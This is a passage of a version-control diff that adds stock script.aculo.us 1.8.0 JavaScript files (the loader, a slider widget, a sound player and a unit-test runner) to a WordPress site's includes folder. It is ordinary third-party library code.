+// permit persons to whom the Software is furnished to do so, subject to
+// the following conditions:
+// 
+// The above copyright notice and this permission notice shall be
+// included in all copies or substantial portions of the Software.
+//
+// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+//
+// For details, see the script.aculo.us web site: http://script.aculo.us/
+
+var Scriptaculous = {
+  Version: '1.8.0',
+  require: function(libraryName) {
+    // inserting via DOM fails in Safari 2.0, so brute force approach
+    document.write('<script type="text/javascript" src="'+libraryName+'"><\/script>');
+  },
+  REQUIRED_PROTOTYPE: '1.6.0',
+  load: function() {
+    function convertVersionString(versionString){
+      var r = versionString.split('.');
+      return parseInt(r[0])*100000 + parseInt(r[1])*1000 + parseInt(r[2]);
+    }
+ 
+    if((typeof Prototype=='undefined') || 
+       (typeof Element == 'undefined') || 
+       (typeof Element.Methods=='undefined') ||
+       (convertVersionString(Prototype.Version) < 
+        convertVersionString(Scriptaculous.REQUIRED_PROTOTYPE)))
+       throw("script.aculo.us requires the Prototype JavaScript framework >= " +
+        Scriptaculous.REQUIRED_PROTOTYPE);
+    
+    $A(document.getElementsByTagName("script")).findAll( function(s) {
+      return (s.src && s.src.match(/scriptaculous\.js(\?.*)?$/))
+    }).each( function(s) {
+      var path = s.src.replace(/scriptaculous\.js(\?.*)?$/,'');
+      var includes = s.src.match(/\?.*load=([a-z,]*)/);
+      (includes ? includes[1] : 'builder,effects,dragdrop,controls,slider,sound').split(',').each(
+       function(include) { Scriptaculous.require(path+include+'.js') });
+    });
+  }
+}
+
+Scriptaculous.load();
Index: /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/slider.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/slider.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/slider.js	(revision 44)
@@ -0,0 +1,275 @@
+// script.aculo.us slider.js v1.8.0, Tue Nov 06 15:01:40 +0300 2007
+
+// Copyright (c) 2005-2007 Marty Haught, Thomas Fuchs 
+//
+// script.aculo.us is freely distributable under the terms of an MIT-style license.
+// For details, see the script.aculo.us web site: http://script.aculo.us/
+
+if (!Control) var Control = { };
+
+// options:
+//  axis: 'vertical', or 'horizontal' (default)
+//
+// callbacks:
+//  onChange(value)
+//  onSlide(value)
+Control.Slider = Class.create({
+  initialize: function(handle, track, options) {
+    var slider = this;
+    
+    if (Object.isArray(handle)) {
+      this.handles = handle.collect( function(e) { return $(e) });
+    } else {
+      this.handles = [$(handle)];
+    }
+    
+    this.track   = $(track);
+    this.options = options || { };
+
+    this.axis      = this.options.axis || 'horizontal';
+    this.increment = this.options.increment || 1;
+    this.step      = parseInt(this.options.step || '1');
+    this.range     = this.options.range || $R(0,1);
+    
+    this.value     = 0; // assure backwards compat
+    this.values    = this.handles.map( function() { return 0 });
+    this.spans     = this.options.spans ? this.options.spans.map(function(s){ return $(s) }) : false;
+    this.options.startSpan = $(this.options.startSpan || null);
+    this.options.endSpan   = $(this.options.endSpan || null);
+
+    this.restricted = this.options.restricted || false;
+
+    this.maximum   = this.options.maximum || this.range.end;
+    this.minimum   = this.options.minimum || this.range.start;
+
+    // Will be used to align the handle onto the track, if necessary
+    this.alignX = parseInt(this.options.alignX || '0');
+    this.alignY = parseInt(this.options.alignY || '0');
+    
+    this.trackLength = this.maximumOffset() - this.minimumOffset();
+
+    this.handleLength = this.isVertical() ? 
+      (this.handles[0].offsetHeight != 0 ? 
+        this.handles[0].offsetHeight : this.handles[0].style.height.replace(/px$/,"")) : 
+      (this.handles[0].offsetWidth != 0 ? this.handles[0].offsetWidth : 
+        this.handles[0].style.width.replace(/px$/,""));
+
+    this.active   = false;
+    this.dragging = false;
+    this.disabled = false;
+
+    if (this.options.disabled) this.setDisabled();
+
+    // Allowed values array
+    this.allowedValues = this.options.values ? this.options.values.sortBy(Prototype.K) : false;
+    if (this.allowedValues) {
+      this.minimum = this.allowedValues.min();
+      this.maximum = this.allowedValues.max();
+    }
+
+    this.eventMouseDown = this.startDrag.bindAsEventListener(this);
+    this.eventMouseUp   = this.endDrag.bindAsEventListener(this);
+    this.eventMouseMove = this.update.bindAsEventListener(this);
+
+    // Initialize handles in reverse (make sure first handle is active)
+    this.handles.each( function(h,i) {
+      i = slider.handles.length-1-i;
+      slider.setValue(parseFloat(
+        (Object.isArray(slider.options.sliderValue) ? 
+          slider.options.sliderValue[i] : slider.options.sliderValue) || 
+         slider.range.start), i);
+      h.makePositioned().observe("mousedown", slider.eventMouseDown);
+    });
+    
+    this.track.observe("mousedown", this.eventMouseDown);
+    document.observe("mouseup", this.eventMouseUp);
+    document.observe("mousemove", this.eventMouseMove);
+    
+    this.initialized = true;
+  },
+  dispose: function() {
+    var slider = this;    
+    Event.stopObserving(this.track, "mousedown", this.eventMouseDown);
+    Event.stopObserving(document, "mouseup", this.eventMouseUp);
+    Event.stopObserving(document, "mousemove", this.eventMouseMove);
+    this.handles.each( function(h) {
+      Event.stopObserving(h, "mousedown", slider.eventMouseDown);
+    });
+  },
+  setDisabled: function(){
+    this.disabled = true;
+  },
+  setEnabled: function(){
+    this.disabled = false;
+  },  
+  getNearestValue: function(value){
+    if (this.allowedValues){
+      if (value >= this.allowedValues.max()) return(this.allowedValues.max());
+      if (value <= this.allowedValues.min()) return(this.allowedValues.min());
+      
+      var offset = Math.abs(this.allowedValues[0] - value);
+      var newValue = this.allowedValues[0];
+      this.allowedValues.each( function(v) {
+        var currentOffset = Math.abs(v - value);
+        if (currentOffset <= offset){
+          newValue = v;
+          offset = currentOffset;
+        } 
+      });
+      return newValue;
+    }
+    if (value > this.range.end) return this.range.end;
+    if (value < this.range.start) return this.range.start;
+    return value;
+  },
+  setValue: function(sliderValue, handleIdx){
+    if (!this.active) {
+      this.activeHandleIdx = handleIdx || 0;
+      this.activeHandle    = this.handles[this.activeHandleIdx];
+      this.updateStyles();
+    }
+    handleIdx = handleIdx || this.activeHandleIdx || 0;
+    if (this.initialized && this.restricted) {
+      if ((handleIdx>0) && (sliderValue<this.values[handleIdx-1]))
+        sliderValue = this.values[handleIdx-1];
+      if ((handleIdx < (this.handles.length-1)) && (sliderValue>this.values[handleIdx+1]))
+        sliderValue = this.values[handleIdx+1];
+    }
+    sliderValue = this.getNearestValue(sliderValue);
+    this.values[handleIdx] = sliderValue;
+    this.value = this.values[0]; // assure backwards compat
+    
+    this.handles[handleIdx].style[this.isVertical() ? 'top' : 'left'] = 
+      this.translateToPx(sliderValue);
+    
+    this.drawSpans();
+    if (!this.dragging || !this.event) this.updateFinished();
+  },
+  setValueBy: function(delta, handleIdx) {
+    this.setValue(this.values[handleIdx || this.activeHandleIdx || 0] + delta, 
+      handleIdx || this.activeHandleIdx || 0);
+  },
+  translateToPx: function(value) {
+    return Math.round(
+      ((this.trackLength-this.handleLength)/(this.range.end-this.range.start)) * 
+      (value - this.range.start)) + "px";
+  },
+  translateToValue: function(offset) {
+    return ((offset/(this.trackLength-this.handleLength) * 
+      (this.range.end-this.range.start)) + this.range.start);
+  },
+  getRange: function(range) {
+    var v = this.values.sortBy(Prototype.K); 
+    range = range || 0;
+    return $R(v[range],v[range+1]);
+  },
+  minimumOffset: function(){
+    return(this.isVertical() ? this.alignY : this.alignX);
+  },
+  maximumOffset: function(){
+    return(this.isVertical() ? 
+      (this.track.offsetHeight != 0 ? this.track.offsetHeight :
+        this.track.style.height.replace(/px$/,"")) - this.alignY : 
+      (this.track.offsetWidth != 0 ? this.track.offsetWidth : 
+        this.track.style.width.replace(/px$/,"")) - this.alignX);
+  },  
+  isVertical:  function(){
+    return (this.axis == 'vertical');
+  },
+  drawSpans: function() {
+    var slider = this;
+    if (this.spans)
+      $R(0, this.spans.length-1).each(function(r) { slider.setSpan(slider.spans[r], slider.getRange(r)) });
+    if (this.options.startSpan)
+      this.setSpan(this.options.startSpan,
+        $R(0, this.values.length>1 ? this.getRange(0).min() : this.value ));
+    if (this.options.endSpan)
+      this.setSpan(this.options.endSpan, 
+        $R(this.values.length>1 ? this.getRange(this.spans.length-1).max() : this.value, this.maximum));
+  },
+  setSpan: function(span, range) {
+    if (this.isVertical()) {
+      span.style.top = this.translateToPx(range.start);
+      span.style.height = this.translateToPx(range.end - range.start + this.range.start);
+    } else {
+      span.style.left = this.translateToPx(range.start);
+      span.style.width = this.translateToPx(range.end - range.start + this.range.start);
+    }
+  },
+  updateStyles: function() {
+    this.handles.each( function(h){ Element.removeClassName(h, 'selected') });
+    Element.addClassName(this.activeHandle, 'selected');
+  },
+  startDrag: function(event) {
+    if (Event.isLeftClick(event)) {
+      if (!this.disabled){
+        this.active = true;
+        
+        var handle = Event.element(event);
+        var pointer  = [Event.pointerX(event), Event.pointerY(event)];
+        var track = handle;
+        if (track==this.track) {
+          var offsets  = Position.cumulativeOffset(this.track); 
+          this.event = event;
+          this.setValue(this.translateToValue( 
+           (this.isVertical() ? pointer[1]-offsets[1] : pointer[0]-offsets[0])-(this.handleLength/2)
+          ));
+          var offsets  = Position.cumulativeOffset(this.activeHandle);
+          this.offsetX = (pointer[0] - offsets[0]);
+          this.offsetY = (pointer[1] - offsets[1]);
+        } else {
+          // find the handle (prevents issues with Safari)
+          while((this.handles.indexOf(handle) == -1) && handle.parentNode) 
+            handle = handle.parentNode;
+            
+          if (this.handles.indexOf(handle)!=-1) {
+            this.activeHandle    = handle;
+            this.activeHandleIdx = this.handles.indexOf(this.activeHandle);
+            this.updateStyles();
+            
+            var offsets  = Position.cumulativeOffset(this.activeHandle);
+            this.offsetX = (pointer[0] - offsets[0]);
+            this.offsetY = (pointer[1] - offsets[1]);
+          }
+        }
+      }
+      Event.stop(event);
+    }
+  },
+  update: function(event) {
+   if (this.active) {
+      if (!this.dragging) this.dragging = true;
+      this.draw(event);
+      if (Prototype.Browser.WebKit) window.scrollBy(0,0);
+      Event.stop(event);
+   }
+  },
+  draw: function(event) {
+    var pointer = [Event.pointerX(event), Event.pointerY(event)];
+    var offsets = Position.cumulativeOffset(this.track);
+    pointer[0] -= this.offsetX + offsets[0];
+    pointer[1] -= this.offsetY + offsets[1];
+    this.event = event;
+    this.setValue(this.translateToValue( this.isVertical() ? pointer[1] : pointer[0] ));
+    if (this.initialized && this.options.onSlide)
+      this.options.onSlide(this.values.length>1 ? this.values : this.value, this);
+  },
+  endDrag: function(event) {
+    if (this.active && this.dragging) {
+      this.finishDrag(event, true);
+      Event.stop(event);
+    }
+    this.active = false;
+    this.dragging = false;
+  },  
+  finishDrag: function(event, success) {
+    this.active = false;
+    this.dragging = false;
+    this.updateFinished();
+  },
+  updateFinished: function() {
+    if (this.initialized && this.options.onChange) 
+      this.options.onChange(this.values.length>1 ? this.values : this.value, this);
+    this.event = null;
+  }
+});
Index: /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/sound.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/sound.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/sound.js	(revision 44)
@@ -0,0 +1,55 @@
+// script.aculo.us sound.js v1.8.0, Tue Nov 06 15:01:40 +0300 2007
+
+// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
+//
+// Based on code created by Jules Gravinese (http://www.webveteran.com/)
+//
+// script.aculo.us is freely distributable under the terms of an MIT-style license.
+// For details, see the script.aculo.us web site: http://script.aculo.us/
+
+Sound = {
+  tracks: {},
+  _enabled: true,
+  template:
+    new Template('<embed style="height:0" id="sound_#{track}_#{id}" src="#{url}" loop="false" autostart="true" hidden="true"/>'),
+  enable: function(){
+    Sound._enabled = true;
+  },
+  disable: function(){
+    Sound._enabled = false;
+  },
+  play: function(url){
+    if(!Sound._enabled) return;
+    var options = Object.extend({
+      track: 'global', url: url, replace: false
+    }, arguments[1] || {});
+    
+    if(options.replace && this.tracks[options.track]) {
+      $R(0, this.tracks[options.track].id).each(function(id){
+        var sound = $('sound_'+options.track+'_'+id);
+        sound.Stop && sound.Stop();
+        sound.remove();
+      })
+      this.tracks[options.track] = null;
+    }
+      
+    if(!this.tracks[options.track])
+      this.tracks[options.track] = { id: 0 }
+    else
+      this.tracks[options.track].id++;
+      
+    options.id = this.tracks[options.track].id;
+    $$('body')[0].insert( 
+      Prototype.Browser.IE ? new Element('bgsound',{
+        id: 'sound_'+options.track+'_'+options.id,
+        src: options.url, loop: 1, autostart: true
+      }) : Sound.template.evaluate(options));
+  }
+};
+
+if(Prototype.Browser.Gecko && navigator.userAgent.indexOf("Win") > 0){
+  if(navigator.plugins && $A(navigator.plugins).detect(function(p){ return p.name.indexOf('QuickTime') != -1 }))
+    Sound.template = new Template('<object id="sound_#{track}_#{id}" width="0" height="0" type="audio/mpeg" data="#{url}"/>')
+  else
+    Sound.play = function(){}
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/unittest.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/unittest.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/unittest.js	(revision 44)
@@ -0,0 +1,568 @@
+// script.aculo.us unittest.js v1.8.0, Tue Nov 06 15:01:40 +0300 2007
+
+// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
+//           (c) 2005-2007 Jon Tirsen (http://www.tirsen.com)
+//           (c) 2005-2007 Michael Schuerig (http://www.schuerig.de/michael/)
+//
+// script.aculo.us is freely distributable under the terms of an MIT-style license.
+// For details, see the script.aculo.us web site: http://script.aculo.us/
+
+// experimental, Firefox-only
+Event.simulateMouse = function(element, eventName) {
+  var options = Object.extend({
+    pointerX: 0,
+    pointerY: 0,
+    buttons:  0,
+    ctrlKey:  false,
+    altKey:   false,
+    shiftKey: false,
+    metaKey:  false
+  }, arguments[2] || {});
+  var oEvent = document.createEvent("MouseEvents");
+  oEvent.initMouseEvent(eventName, true, true, document.defaultView, 
+    options.buttons, options.pointerX, options.pointerY, options.pointerX, options.pointerY, 
+    options.ctrlKey, options.altKey, options.shiftKey, options.metaKey, 0, $(element));
+  
+  if(this.mark) Element.remove(this.mark);
+  this.mark = document.createElement('div');
+  this.mark.appendChild(document.createTextNode(" "));
+  document.body.appendChild(this.mark);
+  this.mark.style.position = 'absolute';
+  this.mark.style.top = options.pointerY + "px";
+  this.mark.style.left = options.pointerX + "px";
+  this.mark.style.width = "5px";
+  this.mark.style.height = "5px;";
+  this.mark.style.borderTop = "1px solid red;"
+  this.mark.style.borderLeft = "1px solid red;"
+  
+  if(this.step)
+    alert('['+new Date().getTime().toString()+'] '+eventName+'/'+Test.Unit.inspect(options));
+  
+  $(element).dispatchEvent(oEvent);
+};
+
+// Note: Due to a fix in Firefox 1.0.5/6 that probably fixed "too much", this doesn't work in 1.0.6 or DP2.
+// You need to downgrade to 1.0.4 for now to get this working
+// See https://bugzilla.mozilla.org/show_bug.cgi?id=289940 for the fix that fixed too much
+Event.simulateKey = function(element, eventName) {
+  var options = Object.extend({
+    ctrlKey: false,
+    altKey: false,
+    shiftKey: false,
+    metaKey: false,
+    keyCode: 0,
+    charCode: 0
+  }, arguments[2] || {});
+
+  var oEvent = document.createEvent("KeyEvents");
+  oEvent.initKeyEvent(eventName, true, true, window, 
+    options.ctrlKey, options.altKey, options.shiftKey, options.metaKey,
+    options.keyCode, options.charCode );
+  $(element).dispatchEvent(oEvent);
+};
+
+Event.simulateKeys = function(element, command) {
+  for(var i=0; i<command.length; i++) {
+    Event.simulateKey(element,'keypress',{charCode:command.charCodeAt(i)});
+  }
+};
+
+var Test = {}
+Test.Unit = {};
+
+// security exception workaround
+Test.Unit.inspect = Object.inspect;
+
+Test.Unit.Logger = Class.create();
+Test.Unit.Logger.prototype = {
+  initialize: function(log) {
+    this.log = $(log);
+    if (this.log) {
+      this._createLogTable();
+    }
+  },
+  start: function(testName) {
+    if (!this.log) return;
+    this.testName = testName;
+    this.lastLogLine = document.createElement('tr');
+    this.statusCell = document.createElement('td');
+    this.nameCell = document.createElement('td');
+    this.nameCell.className = "nameCell";
+    this.nameCell.appendChild(document.createTextNode(testName));
+    this.messageCell = document.createElement('td');
+    this.lastLogLine.appendChild(this.statusCell);
+    this.lastLogLine.appendChild(this.nameCell);
+    this.lastLogLine.appendChild(this.messageCell);
+    this.loglines.appendChild(this.lastLogLine);
+  },
+  finish: function(status, summary) {
+    if (!this.log) return;
+    this.lastLogLine.className = status;
+    this.statusCell.innerHTML = status;
+    this.messageCell.innerHTML = this._toHTML(summary);
+    this.addLinksToResults();
+  },
+  message: function(message) {
+    if (!this.log) return;
+    this.messageCell.innerHTML = this._toHTML(message);
+  },
+  summary: function(summary) {
+    if (!this.log) return;
+    this.logsummary.innerHTML = this._toHTML(summary);
+  },
+  _createLogTable: function() {
+    this.log.innerHTML =
+    '<div id="logsummary"></div>' +
+    '<table id="logtable">' +
+    '<thead><tr><th>Status</th><th>Test</th><th>Message</th></tr></thead>' +
+    '<tbody id="loglines"></tbody>' +
+    '</table>';
+    this.logsummary = $('logsummary')
+    this.loglines = $('loglines');
+  },
+  _toHTML: function(txt) {
+    return txt.escapeHTML().replace(/\n/g,"<br/>");
+  },
+  addLinksToResults: function(){ 
+    $$("tr.failed .nameCell").each( function(td){ // todo: limit to children of this.log
+      td.title = "Run only this test"
+      Event.observe(td, 'click', function(){ window.location.search = "?tests=" + td.innerHTML;});
+    });
+    $$("tr.passed .nameCell").each( function(td){ // todo: limit to children of this.log
+      td.title = "Run all tests"
+      Event.observe(td, 'click', function(){ window.location.search = "";});
+    });
+  }
+}
+
+Test.Unit.Runner = Class.create();
+Test.Unit.Runner.prototype = {
+  initialize: function(testcases) {
+    this.options = Object.extend({
+      testLog: 'testlog'
+    }, arguments[1] || {});
+    this.options.resultsURL = this.parseResultsURLQueryParameter();
+    this.options.tests      = this.parseTestsQueryParameter();
+    if (this.options.testLog) {
+      this.options.testLog = $(this.options.testLog) || null;
+    }
+    if(this.options.tests) {
+      this.tests = [];
+      for(var i = 0; i < this.options.tests.length; i++) {
+        if(/^test/.test(this.options.tests[i])) {
+          this.tests.push(new Test.Unit.Testcase(this.options.tests[i], testcases[this.options.tests[i]], testcases["setup"], testcases["teardown"]));
+        }
+      }
+    } else {
+      if (this.options.test) {
+        this.tests = [new Test.Unit.Testcase(this.options.test, testcases[this.options.test], testcases["setup"], testcases["teardown"])];
+      } else {
+        this.tests = [];
+        for(var testcase in testcases) {
+          if(/^test/.test(testcase)) {
+            this.tests.push(
+               new Test.Unit.Testcase(
+                 this.options.context ? ' -> ' + this.options.titles[testcase] : testcase, 
+                 testcases[testcase], testcases["setup"], testcases["teardown"]
+               ));
+          }
+        }
+      }
+    }
+    this.currentTest = 0;
+    this.logger = new Test.Unit.Logger(this.options.testLog);
+    setTimeout(this.runTests.bind(this), 1000);
+  },
+  parseResultsURLQueryParameter: function() {
+    return window.location.search.parseQuery()["resultsURL"];
+  },
+  parseTestsQueryParameter: function(){
+    if (window.location.search.parseQuery()["tests"]){
+        return window.location.search.parseQuery()["tests"].split(',');
+    };
+  },
+  // Returns:
+  //  "ERROR" if there was an error,
+  //  "FAILURE" if there was a failure, or
+  //  "SUCCESS" if there was neither
+  getResult: function() {
+    var hasFailure = false;
+    for(var i=0;i<this.tests.length;i++) {
+      if (this.tests[i].errors > 0) {
+        return "ERROR";
+      }
+      if (this.tests[i].failures > 0) {
+        hasFailure = true;
+      }
+    }
+    if (hasFailure) {
+      return "FAILURE";
+    } else {
+      return "SUCCESS";
+    }
+  },
+  postResults: function() {
+    if (this.options.resultsURL) {
+      new Ajax.Request(this.options.resultsURL, 
+        { method: 'get', parameters: 'result=' + this.getResult(), asynchronous: false });
+    }
+  },
+  runTests: function() {
+    var test = this.tests[this.currentTest];
+    if (!test) {
+      // finished!
+      this.postResults();
+      this.logger.summary(this.summary());
+      return;
+    }
+    if(!test.isWaiting) {
+      this.logger.start(test.name);
+    }
+    test.run();
+    if(test.isWaiting) {
+      this.logger.message("Waiting for " + test.timeToWait + "ms");
+      setTimeout(this.runTests.bind(this), test.timeToWait || 1000);
+    } else {
+      this.logger.finish(test.status(), test.summary());
+      this.currentTest++;
+      // tail recursive, hopefully the browser will skip the stackframe
+      this.runTests();
+    }
+  },
+  summary: function() {
+    var assertions = 0;
+    var failures = 0;
+    var errors = 0;
+    var messages = [];
+    for(var i=0;i<this.tests.length;i++) {
+      assertions +=   this.tests[i].assertions;
+      failures   +=   this.tests[i].failures;
+      errors     +=   this.tests[i].errors;
+    }
+    return (
+      (this.options.context ? this.options.context + ': ': '') + 
+      this.tests.length + " tests, " + 
+      assertions + " assertions, " + 
+      failures   + " failures, " +
+      errors     + " errors");
+  }
+}
+
+Test.Unit.Assertions = Class.create();
+Test.Unit.Assertions.prototype = {
+  initialize: function() {
+    this.assertions = 0;
+    this.failures   = 0;
+    this.errors     = 0;
+    this.messages   = [];
+  },
+  summary: function() {
+    return (
+      this.assertions + " assertions, " + 
+      this.failures   + " failures, " +
+      this.errors     + " errors" + "\n" +
+      this.messages.join("\n"));
+  },
+  pass: function() {
+    this.assertions++;
+  },
+  fail: function(message) {
+    this.failures++;
+    this.messages.push("Failure: " + message);
+  },
+  info: function(message) {
+    this.messages.push("Info: " + message);
+  },
+  error: function(error) {
+    this.errors++;
+    this.messages.push(error.name + ": "+ error.message + "(" + Test.Unit.inspect(error) +")");
+  },
+  status: function() {
+    if (this.failures > 0) return 'failed';
+    if (this.errors > 0) return 'error';
+    return 'passed';
+  },
+  assert: function(expression) {
+    var message = arguments[1] || 'assert: got "' + Test.Unit.inspect(expression) + '"';
+    try { expression ? this.pass() : 
+      this.fail(message); }
+    catch(e) { this.error(e); }
+  },
+  assertEqual: function(expected, actual) {
+    var message = arguments[2] || "assertEqual";
+    try { (expected == actual) ? this.pass() :
+      this.fail(message + ': expected "' + Test.Unit.inspect(expected) + 
+        '", actual "' + Test.Unit.inspect(actual) + '"'); }
+    catch(e) { this.error(e); }
+  },
+  assertInspect: function(expected, actual) {
+    var message = arguments[2] || "assertInspect";
+    try { (expected == actual.inspect()) ? this.pass() :
+      this.fail(message + ': expected "' + Test.Unit.inspect(expected) + 
+        '", actual "' + Test.Unit.inspect(actual) + '"'); }
+    catch(e) { this.error(e); }
+  },
+  assertEnumEqual: function(expected, actual) {
+    var message = arguments[2] || "assertEnumEqual";
+    try { $A(expected).length == $A(actual).length && 
+      expected.zip(actual).all(function(pair) { return pair[0] == pair[1] }) ?
+        this.pass() : this.fail(message + ': expected ' + Test.Unit.inspect(expected) + 
+          ', actual ' + Test.Unit.inspect(actual)); }
+    catch(e) { this.error(e); }
+  },
+  assertNotEqual: function(expected, actual) {
+    var message = arguments[2] || "assertNotEqual";
+    try { (expected != actual) ? this.pass() : 
+      this.fail(message + ': got "' + Test.Unit.inspect(actual) + '"'); }
+    catch(e) { this.error(e); }
+  },
+  assertIdentical: function(expected, actual) { 
+    var message = arguments[2] || "assertIdentical"; 
+    try { (expected === actual) ? this.pass() : 
+      this.fail(message + ': expected "' + Test.Unit.inspect(expected) +  
+        '", actual "' + Test.Unit.inspect(actual) + '"'); } 
+    catch(e) { this.error(e); } 
+  },
+  assertNotIdentical: function(expected, actual) { 
+    var message = arguments[2] || "assertNotIdentical"; 
+    try { !(expected === actual) ? this.pass() : 
+      this.fail(message + ': expected "' + Test.Unit.inspect(expected) +  
+        '", actual "' + Test.Unit.inspect(actual) + '"'); } 
+    catch(e) { this.error(e); } 
+  },
+  assertNull: function(obj) {
+    var message = arguments[1] || 'assertNull'
+    try { (obj==null) ? this.pass() : 
+      this.fail(message + ': got "' + Test.Unit.inspect(obj) + '"'); }
+    catch(e) { this.error(e); }
+  },
+  assertMatch: function(expected, actual) {
+    var message = arguments[2] || 'assertMatch';
+    var regex = new RegExp(expected);
+    try { (regex.exec(actual)) ? this.pass() :
+      this.fail(message + ' : regex: "' +  Test.Unit.inspect(expected) + ' did not match: ' + Test.Unit.inspect(actual) + '"'); }
+    catch(e) { this.error(e); }
+  },
+  assertHidden: function(element) {
+    var message = arguments[1] || 'assertHidden';
+    this.assertEqual("none", element.style.display, message);
+  },
+  assertNotNull: function(object) {
+    var message = arguments[1] || 'assertNotNull';
+    this.assert(object != null, message);
+  },
+  assertType: function(expected, actual) {
+    var message = arguments[2] || 'assertType';
+    try { 
+      (actual.constructor == expected) ? this.pass() : 
+      this.fail(message + ': expected "' + Test.Unit.inspect(expected) +  
+        '", actual "' + (actual.constructor) + '"'); }
+    catch(e) { this.error(e); }
+  },
+  assertNotOfType: function(expected, actual) {
+    var message = arguments[2] || 'assertNotOfType';
+    try { 
+      (actual.constructor != expected) ? this.pass() : 
+      this.fail(message + ': expected "' + Test.Unit.inspect(expected) +  
+        '", actual "' + (actual.constructor) + '"'); }
+    catch(e) { this.error(e); }
+  },
+  assertInstanceOf: function(expected, actual) {
+    var message = arguments[2] || 'assertInstanceOf';
+    try { 
+      (actual instanceof expected) ? this.pass() : 
+      this.fail(message + ": object was not an instance of the expected type"); }
+    catch(e) { this.error(e); } 
+  },
+  assertNotInstanceOf: function(expected, actual) {
+    var message = arguments[2] || 'assertNotInstanceOf';
+    try { 
+      !(actual instanceof expected) ? this.pass() : 
+      this.fail(message + ": object was an instance of the not expected type"); }
+    catch(e) { this.error(e); } 
+  },
+  assertRespondsTo: function(method, obj) {
+    var message = arguments[2] || 'assertRespondsTo';
+    try {
+      (obj[method] && typeof obj[method] == 'function') ? this.pass() : 
+      this.fail(message + ": object doesn't respond to [" + method + "]"); }
+    catch(e) { this.error(e); }
+  },
+  assertReturnsTrue: function(method, obj) {
+    var message = arguments[2] || 'assertReturnsTrue';
+    try {
+      var m = obj[method];
+      if(!m) m = obj['is'+method.charAt(0).toUpperCase()+method.slice(1)];
+      m() ? this.pass() : 
+      this.fail(message + ": method returned false"); }
+    catch(e) { this.error(e); }
+  },
+  assertReturnsFalse: function(method, obj) {
+    var message = arguments[2] || 'assertReturnsFalse';
+    try {
+      var m = obj[method];
+      if(!m) m = obj['is'+method.charAt(0).toUpperCase()+method.slice(1)];
+      !m() ? this.pass() : 
+      this.fail(message + ": method returned true"); }
+    catch(e) { this.error(e); }
+  },
+  assertRaise: function(exceptionName, method) {
+    var message = arguments[2] || 'assertRaise';
+    try { 
+      method();
+      this.fail(message + ": exception expected but none was raised"); }
+    catch(e) {
+      ((exceptionName == null) || (e.name==exceptionName)) ? this.pass() : this.error(e); 
+    }
+  },
+  assertElementsMatch: function() {
+    var expressions = $A(arguments), elements = $A(expressions.shift());
+    if (elements.length != expressions.length) {
+      this.fail('assertElementsMatch: size mismatch: ' + elements.length + ' elements, ' + expressions.length + ' expressions');
+      return false;
+    }
+    elements.zip(expressions).all(function(pair, index) {
+      var element = $(pair.first()), expression = pair.last();
+      if (element.match(expression)) return true;
+      this.fail('assertElementsMatch: (in index ' + index + ') expected ' + expression.inspect() + ' but got ' + element.inspect());
+    }.bind(this)) && this.pass();
+  },
+  assertElementMatches: function(element, expression) {
+    this.assertElementsMatch([element], expression);
+  },
+  benchmark: function(operation, iterations) {
+    var startAt = new Date();
+    (iterations || 1).times(operation);
+    var timeTaken = ((new Date())-startAt);
+    this.info((arguments[2] || 'Operation') + ' finished ' + 
+       iterations + ' iterations in ' + (timeTaken/1000)+'s' );
+    return timeTaken;
+  },
+  _isVisible: function(element) {
+    element = $(element);
+    if(!element.parentNode) return true;
+    this.assertNotNull(element);
+    if(element.style && Element.getStyle(element, 'display') == 'none')
+      return false;
+    
+    return this._isVisible(element.parentNode);
+  },
+  assertNotVisible: function(element) {
+    this.assert(!this._isVisible(element), Test.Unit.inspect(element) + " was not hidden and didn't have a hidden parent either. " + ("" || arguments[1]));
+  },
+  assertVisible: function(element) {
+    this.assert(this._isVisible(element), Test.Unit.inspect(element) + " was not visible. " + ("" || arguments[1]));
+  },
+  benchmark: function(operation, iterations) {
+    var startAt = new Date();
+    (iterations || 1).times(operation);
+    var timeTaken = ((new Date())-startAt);
+    this.info((arguments[2] || 'Operation') + ' finished ' + 
+       iterations + ' iterations in ' + (timeTaken/1000)+'s' );
+    return timeTaken;
+  }
+}
+
+Test.Unit.Testcase = Class.create();
+Object.extend(Object.extend(Test.Unit.Testcase.prototype, Test.Unit.Assertions.prototype), {
+  initialize: function(name, test, setup, teardown) {
+    Test.Unit.Assertions.prototype.initialize.bind(this)();
+    this.name           = name;
+    
+    if(typeof test == 'string') {
+      test = test.gsub(/(\.should[^\(]+\()/,'#{0}this,');
+      test = test.gsub(/(\.should[^\(]+)\(this,\)/,'#{1}(this)');
+      this.test = function() {
+        eval('with(this){'+test+'}');
+      }
+    } else {
+      this.test = test || function() {};
+    }
+    
+    this.setup          = setup || function() {};
+    this.teardown       = teardown || function() {};
+    this.isWaiting      = false;
+    this.timeToWait     = 1000;
+  },
+  wait: function(time, nextPart) {
+    this.isWaiting = true;
+    this.test = nextPart;
+    this.timeToWait = time;
+  },
+  run: function() {
+    try {
+      try {
+        if (!this.isWaiting) this.setup.bind(this)();
+        this.isWaiting = false;
+        this.test.bind(this)();
+      } finally {
+        if(!this.isWaiting) {
+          this.teardown.bind(this)();
+        }
+      }
+    }
